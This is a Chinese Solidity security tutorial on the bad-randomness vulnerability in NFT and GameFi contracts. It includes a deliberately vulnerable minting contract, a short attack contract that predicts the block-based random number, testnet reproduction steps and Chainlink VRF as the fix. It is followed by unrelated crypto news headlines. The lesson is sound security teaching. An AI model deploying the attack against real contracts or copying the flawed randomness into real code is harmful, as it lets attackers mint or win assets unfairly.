WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。


这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

伪随机数

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}

它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

  1. 部署 BadRandomness 合约。

  2. 部署 Attack 合约。

  3. 将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

  4. 调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

总结

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

24小时热点

日本加密交易所Coincheck计划在纳斯达克上市,成为继Coinbase后第二家受监管加密平台

Coincheck,作为日本领先的加密货币交易平台,宣布通过 ...

1219

区块链网快讯

萨尔瓦多与阿根廷签署加密货币监管合作协议,推动拉丁美洲加密产业发展

2024 年 12 月 10 日,萨尔瓦多与阿根廷监管机构签 ...

714

区块链网快讯

模因币Pepe市值突破113.7亿美元,超越Uniswap与莱特币

本文主要讲述表情包币 Pepe(PEPE)市值突破 113. ...

5115

区块链网快讯

.io 域名未来何去何从?16% 的 Web3 项目面临挑战

随着全球地缘政治的变化,曾经风靡一时的.io域名正面临不确定 ...

14350

波场区块链浏览器

SOS Ltd. 宣布投资5000万美元比特币,加入加密货币机构投资潮流

SOS Ltd. 宣布将投资5000万美元于比特币,此举体现 ...

9411

区块链网快讯

苹果发布 iPhone 16:引入前沿 AI 技术,推动创新和用户体验

苹果公司最新发布的 iPhone 16 标志着该公司在智能手 ...

16423

波场区块链浏览器

罗杰·维尔律师提交动议要求驳回逃税指控,称政府选择性引用证据

比特币早期支持者罗杰・维尔被美国司法部指控逃税 5000 万 ...

6585

区块链网快讯

SolForge Fusion在Solana上首次亮相,解锁了Web3新的功能

8月31日消息,Stone Blade Entertainm ...

41169

波场区块链浏览器

Hydra创始人Stanislav Moiseev被判无期徒刑,15名同伙获刑8至23年

曾为全球最大非法暗网市场的 Hydra 平台创始人 Stan ...

7896

区块链网快讯

Davinci Jeremie从比特币到Shitcoins – 预测下一个1000倍迷因币宝石?

2013,比特币的早期投资者达文奇·杰里米(Davinci ...

50451

非小号

热点专题

2024年美元兑人民币汇率预测:会涨到8元吗?市场密切关注

2024年美元兑人民币汇率吸引了许多投资者的关注,涨到8元的 ...

4278125

波场区块链浏览器

狗狗币一夜暴涨700倍创下历史新高!

最近一段时间狗狗币暴涨幅度达到700倍,出现了巨大的涨幅,这 ...

3202643

波场区块链浏览器

玩比特币的都是什么人

比特币是一种去中心化、众包货币,近些年在社会中引起了强烈关注 ...

921789

火星财经

发改委发布《产业结构调整指导目录》:挖矿或将在2021年被淘汰(附全文)

2019年4月8日,发改委发布《产业结构调整指导目录(201 ...

626922

火币钱包

Staking是什么?

目前加密货币的总市值为2236亿美元,Staking中的加密 ...

576925

The Bitcoin News

比特大陆宣布推出两款新矿机:蚂蚁 S19和蚂蚁S19 Pro

当比特币区块奖励减半时,所有矿工产生的总收入也将减少一半。如 ...

559418

TodayOnChain

2024年央行推动数字货币全国使用试点

随着数字经济的快速发展,各国央行纷纷探索发行自己的数字货币, ...

548659

波场区块链浏览器

web3怎么下载注册

1. 要下载和注册Web3,您需要安装它的客户端(MyEth ...

518725

什么是货币

以太坊钱包是什么?

我们经常把储存以太坊资产的方法都叫做 “钱包”,

448861

The Block

什么是闪电贷(flashloans)?怎么利用闪电贷(flashloans)来套利?

2月16日,bZx被爆遭到“攻击”,“攻击者”操纵多个DeF ...

405586

Sky Mavis